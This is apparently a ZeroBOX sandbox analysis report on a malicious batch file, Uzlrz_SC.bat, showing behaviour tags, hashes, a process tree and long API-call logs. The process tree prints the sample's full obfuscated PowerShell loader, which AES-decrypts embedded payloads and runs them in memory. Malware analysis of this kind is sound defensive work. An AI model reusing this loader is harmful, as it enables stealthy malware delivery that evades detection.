popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

Uzlrz_SC.bat

Downloader FTP Code injection DGA HTTP PWS ScreenShot Create Service KeyLogger P2P Internet API Sniff Audio DNS Escalate priviledges Http API Steal credential Socket AntiVM AntiDebug
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6401 June 21, 2023, 7:56 a.m. June 21, 2023, 7:58 a.m.
Size 4.0MB
Type DOS batch file, ASCII text, with very long lines, with CRLF line terminators
MD5 23959126b62d675c8fce384d5aa127a7
SHA256 826e1858858d3ea6add4809370586c488cdebc4f810ae88cc28ee2b71adea8d5
CRC32 005B34B6
ssdeep 49152:pOOYMByVzc0zc3NCLyc8l845WFzrKy7zTEJKUtNfZhu0fP4x:+
Yara None matched

  • cmd.exe "C:\Windows\System32\cmd.exe" /c start /wait "IZFDLWw" C:\Users\test22\AppData\Local\Temp\Uzlrz_SC.bat

    2628

    • cmd.exe C:\Windows\system32\cmd.exe /K C:\Users\test22\AppData\Local\Temp\Uzlrz_SC.bat

      2708

      • cmd.exe C:\Windows\system32\cmd.exe /K C:\Users\test22\AppData\Local\Temp\Uzlrz_SC.bat

        2832

        • Uzlrz_SC.bat.exe "C:\Users\test22\AppData\Local\Temp\Uzlrz_SC.bat.exe" -w hidden -c $sXoe='RerwlVadLrwlVinrwlVesrwlV'.Replace('rwlV', '');$KaIy='LoarwlVdrwlV'.Replace('rwlV', '');$onqo='MainrwlVMrwlVodrwlVulerwlV'.Replace('rwlV', '');$KLcx='ErwlVntrwlVrrwlVyPrwlVoirwlVntrwlV'.Replace('rwlV', '');$NmCP='ChrwlVangerwlVExrwlVterwlVnsirwlVonrwlV'.Replace('rwlV', '');$jpXv='TrrwlVansrwlVforrwlVmFrwlVirwlVnrwlValBrwlVlorwlVcrwlVkrwlV'.Replace('rwlV', '');$Nlmp='FrrwlVomrwlVBrwlVarwlVserwlV64SrwlVtrirwlVnrwlVgrwlV'.Replace('rwlV', '');$IcUZ='SplrwlVitrwlV'.Replace('rwlV', '');$eKgM='IrwlVnrwlVvorwlVkerwlV'.Replace('rwlV', '');$SUjx='CrwlVrearwlVtrwlVeDrwlVecrrwlVyptrwlVorwlVrrwlV'.Replace('rwlV', '');$owoP='GerwlVtrwlVCrwlVurrrwlVenrwlVtPrrwlVocerwlVssrwlV'.Replace('rwlV', '');$Dtpc='ElerwlVmenrwlVtArwlVtrwlV'.Replace('rwlV', '');function OiDfk($keSfh){$reuLO=[System.Security.Cryptography.Aes]::Create();$reuLO.Mode=[System.Security.Cryptography.CipherMode]::CBC;$reuLO.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$reuLO.Key=[System.Convert]::$Nlmp('X34De+rRqYNTzCDjE5BRuwqEn5fBK2YeaJRW5VUWpOY=');$reuLO.IV=[System.Convert]::$Nlmp('4umJ7MRNH2/L2CHuH0lqMQ==');$dfErF=$reuLO.$SUjx();$EKKSK=$dfErF.$jpXv($keSfh,0,$keSfh.Length);$dfErF.Dispose();$reuLO.Dispose();$EKKSK;}function elXrX($keSfh){$tAeHV=New-Object System.IO.MemoryStream(,$keSfh);$ERjwk=New-Object System.IO.MemoryStream;$dXDEj=New-Object System.IO.Compression.GZipStream($tAeHV,[IO.Compression.CompressionMode]::Decompress);$dXDEj.CopyTo($ERjwk);$dXDEj.Dispose();$tAeHV.Dispose();$ERjwk.Dispose();$ERjwk.ToArray();}$bfNFF=[System.Linq.Enumerable]::$Dtpc([System.IO.File]::$sXoe([System.IO.Path]::$NmCP([System.Diagnostics.Process]::$owoP().$onqo.FileName, $null)), 1);$OhhoA=$bfNFF.Substring(2).$IcUZ(':');$YalwE=elXrX (OiDfk ([Convert]::$Nlmp($OhhoA[0])));$xFGRa=elXrX (OiDfk ([Convert]::$Nlmp($OhhoA[1])));[System.Reflection.Assembly]::$KaIy([byte[]]$xFGRa).$KLcx.$eKgM($null,$null);[System.Reflection.Assembly]::$KaIy([byte[]]$YalwE).$KLcx.$eKgM($null,$null);

          2924

Name Response Post-Analysis Lookup
No hosts contacted.
IP Address Status Action
164.124.101.2 Active Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: 1 file(s) copied.
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: C:\Users\test22\AppData\Local\Temp>
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: Unexpected token '(' in expression or statement.
console_handle: 0x00000023
1 1 0

WriteConsoleW

 buffer: At line:1 char:986
console_handle: 0x0000002f
1 1 0

WriteConsoleW

 buffer: + $sXoe='RerwlVadLrwlVinrwlVesrwlV'.Replace('rwlV', '');$KaIy='LoarwlVdrwlV'.Re
console_handle: 0x0000003b
1 1 0

WriteConsoleW

 buffer: place('rwlV', '');$onqo='MainrwlVMrwlVodrwlVulerwlV'.Replace('rwlV', '');$KLcx=
console_handle: 0x00000047
1 1 0

WriteConsoleW

 buffer: 'ErwlVntrwlVrrwlVyPrwlVoirwlVntrwlV'.Replace('rwlV', '');$NmCP='ChrwlVangerwlVE
console_handle: 0x00000053
1 1 0

WriteConsoleW

 buffer: xrwlVterwlVnsirwlVonrwlV'.Replace('rwlV', '');$jpXv='TrrwlVansrwlVforrwlVmFrwlV
console_handle: 0x0000005f
1 1 0

WriteConsoleW

 buffer: irwlVnrwlValBrwlVlorwlVcrwlVkrwlV'.Replace('rwlV', '');$Nlmp='FrrwlVomrwlVBrwlV
console_handle: 0x0000006b
1 1 0

WriteConsoleW

 buffer: arwlVserwlV64SrwlVtrirwlVnrwlVgrwlV'.Replace('rwlV', '');$IcUZ='SplrwlVitrwlV'.
console_handle: 0x00000077
1 1 0

WriteConsoleW

 buffer: Replace('rwlV', '');$eKgM='IrwlVnrwlVvorwlVkerwlV'.Replace('rwlV', '');$SUjx='C
console_handle: 0x00000083
1 1 0

WriteConsoleW

 buffer: rwlVrearwlVtrwlVeDrwlVecrrwlVyptrwlVorwlVrrwlV'.Replace('rwlV', '');$owoP='Gerw
console_handle: 0x0000008f
1 1 0

WriteConsoleW

 buffer: lVtrwlVCrwlVurrrwlVenrwlVtPrrwlVocerwlVssrwlV'.Replace('rwlV', '');$Dtpc='Elerw
console_handle: 0x0000009b
1 1 0

WriteConsoleW

 buffer: lVmenrwlVtArwlVtrwlV'.Replace('rwlV', '');function OiDfk($keSfh){$reuLO=[System
console_handle: 0x000000a7
1 1 0

WriteConsoleW

 buffer: .Security.Cryptography.Aes]::Create();$reuLO.Mode=[System.Security.Cryptography
console_handle: 0x000000b3
1 1 0

WriteConsoleW

 buffer: .CipherMode]::CBC;$reuLO.Padding=[System.Security.Cryptography.PaddingMode]::PK
console_handle: 0x000000bf
1 1 0

WriteConsoleW

 buffer: CS7;$reuLO.Key=[System.Convert]::$Nlmp( <<<< 'X34De+rRqYNTzCDjE5BRuwqEn5fBK2Yea
console_handle: 0x000000cb
1 1 0

WriteConsoleW

 buffer: JRW5VUWpOY=');$reuLO.IV=[System.Convert]::$Nlmp('4umJ7MRNH2/L2CHuH0lqMQ==');$df
console_handle: 0x000000d7
1 1 0

WriteConsoleW

 buffer: ErF=$reuLO.$SUjx();$EKKSK=$dfErF.$jpXv($keSfh,0,$keSfh.Length);$dfErF.Dispose()
console_handle: 0x000000e3
1 1 0

WriteConsoleW

 buffer: ;$reuLO.Dispose();$EKKSK;}function elXrX($keSfh){$tAeHV=New-Object System.IO.Me
console_handle: 0x000000ef
1 1 0

WriteConsoleW

 buffer: moryStream(,$keSfh);$ERjwk=New-Object System.IO.MemoryStream;$dXDEj=New-Object
console_handle: 0x000000fb
1 1 0

WriteConsoleW

 buffer: System.IO.Compression.GZipStream($tAeHV,[IO.Compression.CompressionMode]::Decom
console_handle: 0x00000107
1 1 0

WriteConsoleW

 buffer: press);$dXDEj.CopyTo($ERjwk);$dXDEj.Dispose();$tAeHV.Dispose();$ERjwk.Dispose()
console_handle: 0x00000113
1 1 0

WriteConsoleW

 buffer: ;$ERjwk.ToArray();}$bfNFF=[System.Linq.Enumerable]::$Dtpc([System.IO.File]::$sX
console_handle: 0x0000011f
1 1 0

WriteConsoleW

 buffer: oe([System.IO.Path]::$NmCP([System.Diagnostics.Process]::$owoP().$onqo.FileName
console_handle: 0x0000012b
1 1 0

WriteConsoleW

 buffer: , $null)), 1);$OhhoA=$bfNFF.Substring(2).$IcUZ(':');$YalwE=elXrX (OiDfk ([Conve
console_handle: 0x00000137
1 1 0

WriteConsoleW

 buffer: rt]::$Nlmp($OhhoA[0])));$xFGRa=elXrX (OiDfk ([Convert]::$Nlmp($OhhoA[1])));[Sys
console_handle: 0x00000143
1 1 0

WriteConsoleW

 buffer: tem.Reflection.Assembly]::$KaIy([byte[]]$xFGRa).$KLcx.$eKgM($null,$null);[Syste
console_handle: 0x0000014f
1 1 0

WriteConsoleW

 buffer: m.Reflection.Assembly]::$KaIy([byte[]]$YalwE).$KLcx.$eKgM($null,$null);
console_handle: 0x0000015b
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : ParserError: ((:String) [], ParentContainsErrorR
console_handle: 0x00000167
1 1 0

WriteConsoleW

 buffer: ecordException
console_handle: 0x00000173
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : UnexpectedToken
console_handle: 0x0000017f
1 1 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051f550
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051fad0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051fad0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051fad0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051f4d0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051f4d0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051f4d0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051f4d0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051f4d0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051f4d0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051fa50
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051fa50
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051fa50
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051fad0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051fad0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051fad0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051f910
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051fad0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051fad0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051fad0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051fad0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051fad0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051fad0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051fad0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051fb90
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051fb90
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051fb90
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051fb90
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051fb90
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051fb90
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051fb90
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051fb90
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051fb90
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051fb90
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051fb90
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051fb90
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051fb90
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051fb90
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051f110
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051f110
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051f110
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051f110
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051f110
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0051f110
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 851968
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02670000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02700000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2924
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72891000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0203a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2924
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72892000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02032000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02042000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02701000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02702000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0267a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02043000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02044000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0268b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02687000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0203b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02672000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02685000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02045000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0267c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04e60000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02046000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0268c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02673000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02674000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02675000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02676000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02677000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02678000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02679000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04f10000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04f11000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04f12000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04f13000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04f14000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04f15000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04f16000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04f17000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04f18000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04f19000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04f1a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04f1b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04f1c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04f1d000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04f1e000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04f1f000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04f20000
